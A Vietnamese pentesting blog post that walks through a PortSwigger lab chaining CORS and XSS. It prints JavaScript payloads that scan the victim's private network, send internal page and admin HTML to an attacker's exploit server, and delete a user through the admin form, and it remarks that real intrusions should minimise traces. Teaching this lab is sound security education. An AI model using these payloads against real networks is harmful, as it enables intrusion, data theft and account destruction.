NỘI DUNG
Tiếp theo nội dung Penetration Testing Step 3 – Cross-Origin Resource Sharing – CORS attack – Tập 2, kỳ này tôi sẽ giải quyết dứt điểm CORS attack với một tình huống xử lý phức tạp hơn.
Như tôi đã giới thiệu trong các kỳ trước, CORS attack sẽ phụ thuộc vào sự có mặt của response header Access-Control-Allow-Credentials: true. Nếu không có con hàng này, browser của user sẽ từ chối gửi các cookie liên quan do vậy attacker sẽ chỉ có thể truy cập được các nội dung không cần xác thực mà cả thiên hạ ai cũng “ăn” được.
Ngoài ra, attacker cũng bị hạn chế truy cập trực tiếp vào một số khu vực như intranet (đại khái là khu vực chỉ cho phép truy cập từ local network – mạng nội bộ) của mục tiêu. Điểm thú vị ở đây là đám internal website này đôi khi sẽ có các lớp bảo vệ yếu hơn external website (tức là đám cho truy cập tẹt ga từ internet). Đồng thời, ứng dụng sẽ có thể được thiết lập để tin tưởng một cách “mù quáng” các request từ các đối tượng internal thuộc private IP range trong local network. Cụ thể, các request này sẽ có thể truy cập vào các tài nguyên trên hệ thống (ví dụ admin page) với origin bất kỳ cũng như không cần credential tương ứng.
Với thông tin nói trên, khi túm được một user với private IP trong local network đang truy cập ra internet, attacker có thể triển CORS attack thông qua browser của nạn nhân để truy cập vào các tài nguyên thuộc khu vực intranet từ đó làm bàn đạp để tấn công hệ thống.
Tình huống tấn công cồng kềnh nói trên sẽ được minh họa qua các bước chính bao gồm:
- Xác định endpoint liên quan trong local network;
- Dò tìm các lỗ hổng có thể có trên endpoint liên quan (XSS vulnerability trong phần minh họa này);
- Truy cập tài nguyên dựa vào CORS attack (cụ thể là hốt source code của admin page);
- Sử dụng thông tin đã thu thập làm bàn đạp cho các mưu đồ tấn công thâm độc hơn (cho user carlos bay màu trong phần minh họa này).
Lưu ý:
- Như mọi khi, tôi cũng sẽ tận dụng các bài Lab dựng sẵn của ông PortSwigger để tiết kiệm thời gian dàn cảnh;
- Vấn đề Public vs Private IP bạn có thể xem thêm trong nội dung Giải ngố địa chỉ IP (Internet Protocol address) – Phần 1: 3 điều quan trọng nhất cần phải biết.
#1. Bước 1 – Xác định endpoint liên quan trong local network
Trước hết, tôi sẽ cần thăm dò cái local network để dò tìm các endpoint liên quan. Với mục đích minh họa kiểu mì ăn liền, cái local network trong tình huống này sẽ là 192.168.0.0/24 và port sử dụng tương ứng sẽ là 8080.
Để mần vụ này, tôi có thể sử dụng một đoạn code kiểu như bên dưới rồi đưa vào Exploit Server.
<script>
var q = [], collaboratorURL = 'http://$collaboratorPayload';
for(i=1;i<=255;i++) {
q.push(function(url) {
return function(wait) {
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
for(i=1;i<=20;i++){
if(q.length)q.shift()(i*100);
}
function fetchUrl(url, wait) {
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r => r.text().then(text => {
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now();
}))
.catch(e => {
if(q.length) {
q.shift()(wait);
}
});
setTimeout(x => {
controller.abort();
if(q.length) {
q.shift()(wait);
}
}, wait);
}
</script>
Lưu ý:
- Như tôi nói trên, cái local network và port chỉ để minh họa cho nhanh. Thực tế tôi cũng sẽ phải vã mồ hôi đề xác định chứ không có kiểu thông tin từ trên trời rớt xuống thế này;
- Trường hợp bạn không hiểu 192.168.0.0/24 là gì thì vui lòng xem thêm ở nội dung Giải ngố địa chỉ IP (Internet Protocol address) – Phần 2: IPv4 có thực đang giãy chết?;
- Với trường hợp minh họa này, tôi sẽ sử dụng Exploit Server URL tương ứng là exploit-aca81f941e542bb8c0b5714b012d009b.web-security-academy.net/exploit để đút vô chỗ $collaboratorPayload;
- Ý tưởng chung ở đây là tôi sẽ dò các private IP address từ 192.168.0.1 đến 192.168.0.255 rồi gọi function fetchURL để tuồn hàng về Exploit Server.
Sau khi Store và Deliver exploit to victim, tôi sẽ kiểm tra Access log và tìm cái code parameter đã được gửi đến (192.168.0.240:8080 như minh họa bên dưới) khi nạn nhân cắn câu.
#2. Bước 2 – Dò tìm các lỗ hổng có thể có trên endpoint liên quan
Sau khi đã xác định cái endpoint cần thiết (192.168.0.240:8080), tôi sẽ tiến hành thăm dò các lỗ hổng có thể có trên endpoint này. Và một lần nữa, để tiện đường minh họa, tôi sẽ sử dụng “nguồn tin mật báo” để tập trung kiểm tra XSS vulnerability ở vị trí username field (tất nhiên thực tế tôi sẽ phải thăm dò từ A-Z chứ không có kiểu đập phát ăn ngay như này). Để thực hiện nhiệm vụ này, tôi dọn dẹp đám code cũ của Bước 1 trên Exploit Server rồi quất một đám code mới kiểu như sau vào.
<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url, collaboratorURL){
fetch(url).then(r => r.text().then(text => {
xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');
}))
}
fetchUrl("https://$ip", "http://$collaboratorPayload");
</script>
Lưu ý:
- Tôi sẽ thay cái $ip với IP address của endpoint ghi nhận được ở trên kèm theo port number (168.0.240:8080 như trường hợp minh họa ở đây;
- Cái Exploit Server URL cũng sẽ cần cập nhật vô chỗ $collaboratorPayload như Bước 1;
- Cái foundXSS=1 sẽ giúp tôi xác định vị trí cõ lỗ hổng XSS;
- Nội dung liên quan đến XSS bạn có thể xem thêm trong Penetration Testing Step 3 – Cross-Site Scripting – XSS là cái vẹo gì?.
Sau khi Store và Deliver exploit to victim, tôi ghi nhận cái foundXSS=1 trong Access log hàm ý rằng tôi có thể xơ múi với XSS Vulnerability ở chỗ Username filed.
#3. Bước 3 – Truy cập tài nguyên dựa vào CORS attack
Sau khi đã xác nhận khả năng ăn XSS Vulnerability ở chỗ Username filed xong, tôi lại dọn dẹp đám code cũ của Bước 2 để chuyển qua bước khai thác tài nguyên dựa vào CORS attack. Việc này có thể triển với đám code như sau:
<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url, collaboratorURL){
fetch(url).then(r=>r.text().then(text=>
{
xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
}
))
}
fetchUrl("https://$ip", "http://$collaboratorPayload");
</script>
Lưu ý:
- Ở đây tôi cũng sẽ thay cái $ip với IP address của endpoint ghi nhận được ở trên kèm theo port number (168.0.240:8080 như trường hợp minh họa bên dưới và cập nhật lại cái Exploit Server URL vô chỗ $collaboratorPayload;
- Và vâng, cái thông tin src=/admin, cũng sẽ dựa vào thông tin mật báo (hoặc kết quả của một quá trình thăm dò thử nghiệm).
Lần này sau khi Store và Deliver exploit to victim tôi sẽ hốt được một đống bùng nhùng trong Access Log.
Thử tiến hành Decode as URL tôi ngỡ ngàng nhận ra đây đây đích thị là source code của admin page cũng như xác định sự tồn tại của một cái form cho phép delete user như sau:
#4. Bước 4 – Sử dụng thông tin đã thu thập làm bàn đạp cho các mưu đồ tấn công thâm độc hơn
Chuyển sang bước cuối, tôi cũng sẽ xóa code cũ để chuẩn bị tuồn vào code mới. Ở phần minh họa này tôi sẽ xóa sổ user carlos ra khỏi hệ thống thông qua việc sử dụng đám code theo kiểu như sau:
<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url){
fetch(url).then(r=>r.text().then(text=>
{
xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');
}
))
}
fetchUrl("https://$ip");
</script>
Ở đây tôi cũng sẽ cần thay cái $ip với IP address của endpoint ghi nhận được ở trên kèm theo port number (192.168.0.240:8080). Lúc này, khi tôi tiến hành Store và Deliver exploit to victim, user carlos sẽ đi vào cõi hư vô.
Tất nhiên, hành động xóa sổ user carlos chỉ nhằm minh họa “vui là chính”. Quá trình khai thác thực tế sẽ cần tinh tế hơn nhiều với phương châm hạn chế tối đa các dấu vết không cần thiết để tiện bề ăn nằm trong hệ thống mà tiếp tục khai thác.
Và đến đây tôi cũng xin kết thúc xê-ri về CORS attack. Hẹn gặp lại bạn ở một chủ đề khác trong kỳ tới.
1 thought on “Penetration Testing Step 3 – Cross-Origin Resource Sharing – CORS attack – Tập cuối”